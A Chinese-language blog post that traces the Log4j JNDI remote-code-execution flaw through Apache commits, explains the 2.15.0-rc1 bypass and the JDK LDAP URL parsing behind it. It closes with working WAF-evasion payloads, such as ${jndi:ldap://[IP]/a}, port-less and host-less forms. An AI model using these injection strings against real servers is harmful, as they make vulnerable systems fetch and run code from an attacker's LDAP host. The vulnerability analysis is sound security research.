写点什么

如何跟踪 log4j 漏洞原理及发现绕 WAF 的 tips

作者:H
  • 2021 年 12 月 21 日
  • 本文字数:4588 字

    阅读完需:约 15 分钟

如何跟踪log4j漏洞原理及发现绕WAF的tips

log4j 漏洞的形成原因已经有很多分析文章了,这里说一说我是如何在了解到有漏洞后,跟进漏洞产生原理的,以及发现的一些绕 WAF tips

跟进漏洞产生原因的思路

如何发现漏洞产生原因的

了解到 log4j <=2.14.1 存在 RCE 的情况,我马上跑到其官方 github 看了一下,发现 commit 记录中有两个关键 commit

 


  • 第一,log4j 不再自动对消息中的 lookup 进行格式化,第一时间看到不是很懂

  • 第二,限制 JNDI 默认支持,限制通过 LDAP 访问服务器和类

这两个点很容易联想到是不是跟 JNDI 攻击有关系,毕竟 RMI 和 LDAP 很容易做到 RCE。跟进 commit 看看具体的修改情况,https://github.com/apache/logging-

log4j2/commit/d82b47c6fae9c15fcb183170394d5f1a01ac02d3 这个 commit 中,对org.apache.logging.log4j.core.net.JndiManager.java进行了大量修改,特别是在 lookup 方法中,加了很多代码

【私信回复“资料”获取 log4j 的复现/修复教程】点击查看网络安全学习攻略



仔细看了一下,没有修改前,lookup 方法直接通过this.context.lookup(name)执行 JNDI 操作,没有任何过滤或者限制,而新增加的代码在限制 JNDI 服务器、类。当天晚上看到 payload 后,马上对 log4j 2.14.1 版本尝试验证一下,并在 JndiManager#lookup 方法中断点看到如下



很明显,name 就是 payload 中给定的,仔细看一下调用栈就可以发现,log4j 会对字符串中的 ${}自动解析,也就是前面提到的 commit 备注信息中写到的。

如何绕过 2.15.0-rc1 版本

看到 rc1 版本存在绕过的消息,又来看看官方 github 仓库的 commit 记录,里面有一条在更新到 2.15.0-rc1 版本后的 commit 记录,提交的信息是"handle URI exception",即处理了 URI 出错的情况。修改代码情况如下图



JndiManager#lookup 方法处给 catch 语句中添加了两行代码,记录 URI 解析错误并返回 null。而添加这两行代码前,此处只有一行注释,因此 catch 报错后会继续向下执行 this.context.lookup,也就意味着前面 try 语句中的代码报错后,会继续执行 JNDI 操作,绕过也就来自于这里。

来看看 try 语句是什么写的



代码比较长没有完全截进来,关键点是进入 lookup 方法后,立即将 name 变量送入 URI 类的构造函数中,此时只要 URI 的构造函数对 name 字符串解析出错,即可跳转到 catch 语句,进而向下执行到 JNDI 操作。

那么我们要关注的点就是让new URI(name)处报错,但是 name 又能被 jndi 正常识别。好在我们用 marshalsec 构造 ldap 服务时,不需要关心 uri 长什么样,所以可以在 uri 上做文章。

跟踪源代码可以查看到 URI 对字符的支持情况



数字、字母大小写这些就不说了,其它可打印字符也不多,从上面的注释中可以看到 URI 对反引号`,空格,尖括号<>并不支持,基于这一点,可以做个简单的实验



空格和尖括号同样报错,就不重复截图了。回到前面提到的 2.15.0-rc1 版本对 JndiManager#lookup 方法的修复情况,并没有在 catch 语句中添加返回操作或报错,程序遇到报错后,会继续向下执行,从而造成危险。

由于找了很久都没有找到 log4j-core-2.15.0-rc1.jar 这个包,所以自己写了个函数模拟一下绕过的场景



LDAP 绕 WAF 的 tips

URI 解析

看完 rc1 版本的绕过后,又想了一下,防御工具可能会有针对性的做一些关键字检测,所以我打算从 LDAP 更深层的源代码看看有没有对字符串变形的可能性。


跟着 this.context.lookup(name)处向下跟进到 com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN 方法,代码如下


注意 var0 也就是输入是完整的"ldap://192.168.34.96:1389:/a",而后 var2 可以使用 getHost 和 getPort 方法获取 host 和 port,说明 var2 对象在创建时解析了 ldap 地址。跟进 LdapURL 类到达 Uri#parse 方法


com.sun.jndi.toolkit.url.Uri#parseprivate void parse(String var1) throws MalformedURLException {int var2 = var1.indexOf(58);if (var2 < 0) {throw new MalformedURLException("Invalid URI: " + var1);} else {this.scheme = var1.substring(0, var2);++var2;this.hasAuthority = var1.startsWith("//", var2);int var3;if (this.hasAuthority) {var2 += 2;var3 = var1.indexOf(47, var2);if (var3 < 0) {var3 = var1.length();}


        int var4;        if (var1.startsWith("[", var2)) {            var4 = var1.indexOf(93, var2 + 1);            if (var4 < 0 || var4 > var3) {                throw new MalformedURLException("Invalid URI: " + var1);            }
this.host = var1.substring(var2, var4 + 1); var2 = var4 + 1; } else { var4 = var1.indexOf(58, var2); int var5 = var4 >= 0 && var4 <= var3 ? var4 : var3; if (var2 < var5) { this.host = var1.substring(var2, var5); }
var2 = var5; }
if (var2 + 1 < var3 && var1.startsWith(":", var2)) { ++var2; this.port = Integer.parseInt(var1.substring(var2, var3)); }
var2 = var3; }
var3 = var1.indexOf(63, var2); if (var3 < 0) { this.path = var1.substring(var2); } else { this.path = var1.substring(var2, var3); this.query = var1.substring(var3); }
}
复制代码


}此时 var1="ldap://192.168.34.96:1389/a"


var2 第一次赋值为(char)58 也就是 : 在 ldap 中的索引,如果不存在 : 则直接报错 this.scheme 赋值为第 1 个字符到 : 之间的字符串,也就是 ldap、ldapsvar2 第二次赋值自加 1,而后检查冒号后是否存在//,如果不存在,则 host 和 port 都直接为 null,进入 path 和 query 解析部分,也就是路径和参数第一个冒号后存在//,则进入 if 语句,var2 第三次赋值,再加 2,也就是跳过了//继续向后判断(char)47 也就是/,给 var3=var1.indexOf("/", var2),实际上为://后第一个/的索引,这是用来找到 host 和 port 的一个定位,但很有可能后面没有/(即 var1="ldap://192.168.1.1:1389",此时 var3 直接赋值为 var1.length,也就是 var1 最大索引+1)再往下走,会先判断://和 var3 直接有没有 [ 和 ] 符号对,且 ] 不能在 var3 后面否则会直接报错,这里有个意外情况就是 ldap://[localhost:1389]/a 这样写的话,会将 localhost:1389 当成 host 如果没有出现[]符号对,则赋值 var4 为://后的第一个:的索引,然后判断 var4>=0 且 var4<=var3,也就是冒号:必须存在且在 var3 的前面,条件达成则赋值为 var5=var4,否则 var5=var3,即从://和:之间获取 host,或者从://和/之间获取 host。此时出现骚操作"ldap://localhost/:",则 host=localhost,骚操作"ldap://localhost",则 host=null


继续往后走,如果正常在://和 var3 之间出现冒号,则可以截取出 port,如果前面的骚操作"ldap://localhost/:",则 port 为默认值-1,这个-1 在后面大有可为:)


后面解析 path 和 query 的部分就不看了,回到 com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN 也就是上面那个图片的位置,此时 host 和 port 都解析好了,正式开启发起 ldap 请求


LDAP 发起


com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN,执行到 new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl()),即此时 LdapURL 已经解析完成,host 和 port 都有了,跟进 LdapCtx 的构造方法,代码如下


public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {this.useSsl = this.hasLdapsScheme = var5;if (var4 != null) {this.envprops = (Hashtable)var4.clone();if ("ssl".equals(this.envprops.get("java.naming.security.protocol"))) {this.useSsl = true;}


    this.trace = (OutputStream)this.envprops.get("com.sun.jndi.ldap.trace.ber");    if (var4.get("com.sun.jndi.ldap.netscape.schemaBugs") != null || var4.get("com.sun.naming.netscape.schemaBugs") != null) {        this.netscapeSchemaBug = true;    }}
this.currentDN = var1 != null ? var1 : "";this.currentParsedDN = parser.parse(this.currentDN);this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";if (this.hostname.charAt(0) == '[') { this.hostname = this.hostname.substring(1, this.hostname.length() - 1);}
if (var3 > 0) { this.port_number = var3;} else { this.port_number = this.useSsl ? 636 : 389; this.useDefaultPortNumber = true;}
this.schemaTrees = new Hashtable(11, 0.75F);this.initEnv();
try { this.connect(false);} catch (NamingException var9) { try { this.close(); } catch (Exception var8) { }
throw var9;}
复制代码


}这里主要关注 hostname 和 port_number 两个参数,即下面的代码块


this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";if (this.hostname.charAt(0) == '[') {this.hostname = this.hostname.substring(1, this.hostname.length() - 1);}


if (var3 > 0) {this.port_number = var3;} else {this.port_number = this.useSsl ? 636 : 389;this.useDefaultPortNumber = true;}其中 var2=LdapURL 中解析的 host,var3=LdapURL 中解析的 port


注意到代码逻辑,如果 var2 为 null,则直接使 this.hostname="localhost";如果 hostname 的第一个字符为"[",则取出第二个字符至倒数第二个字符的子字符串,即从[ip],去掉[],获得 ip


如果 var3<=0,即 LdapURL 解析 port 失败,则在使用 ldaps 时,端口改为 636,使用 ldap 时,端口强制改为 389


这些逻辑是变换 ldap 字符串的关键


Bypass WAF tips

根据前面 LdapURL 和 LdapCtx 的解析逻辑,可以对 log4j 的 payload 做出如下变换

  • 不出现 port,避免被 waf 匹配 ip:port

${jndi:ldap:192.168.1.1/a}${jndi:ldap:192.168.1.1:/a}注意此时需要ldap服务端口为389
复制代码


 

  • 对 IP 添加包裹

前面两个类的解析逻辑中都有对中括号[]的处理,所以给 ip 添加一下包裹

${jndi:ldap://[192.168.34.96]/a}${jndi:ldap://[192.168.34.96]]/a} LdapURL取出"[ip]",LdapCtx去除[]获得ip,两种情况下端口都是389
复制代码
  • 不出现 ip 和端口(有点鸡肋)

${jndi:ldap:/a}此时相当于ldap://localhost:389/a
复制代码

这种情况主要是来自于 LdapURL 解析 URL 时出错,导致 host=null,port=-1,而后 LdapCtx 中发现 host=null,则将 host 置为 localhost,毕竟这样做看起来是可信的

原理是,LdapURL 解析时有个关键处理如下

this.hasAuthority = var1.startsWith("//", var2);   // var2=第一个冒号的索引if (hasAuthority){    解析获取host和port}
复制代码

此时不出现://这个整体,就可以直接跳出 host 和 port 的获取,而后在 LdapCtx 中对 host=null 时,赋值为 localhost,对 port=默认值-1 时,赋值为 389



这个 payload 需要在目标上执行命令或其它方式开启 ldap 和文件下载服务,但都可以在目标上执行命令了,还需要这样干吗?所以有点鸡肋,除非 java 程序的权限比可以执行命令的用户权限更高,从而拿到更高权限(不过提权姿势也很多啊)

  • 不出现 jndi:ldap 关键字

通过 upperCase、fastjson 的 unicode 编码等方法可以避免该关键字,具体就不重复写,直接引用浅蓝师傅的博客了https://b1ue.cn/archives/513.html ,

另外可以对 log4j 解析 ${}的部分深入了解一下,还能通过其自身特性,避免直接出现 jndi:ldap 关键字,但不是自己研究出来的就不公开了

用户头像

H

关注

还未添加个人签名 2021.08.04 加入

还未添加个人简介

评论

发布
暂无评论
如何跟踪log4j漏洞原理及发现绕WAF的tips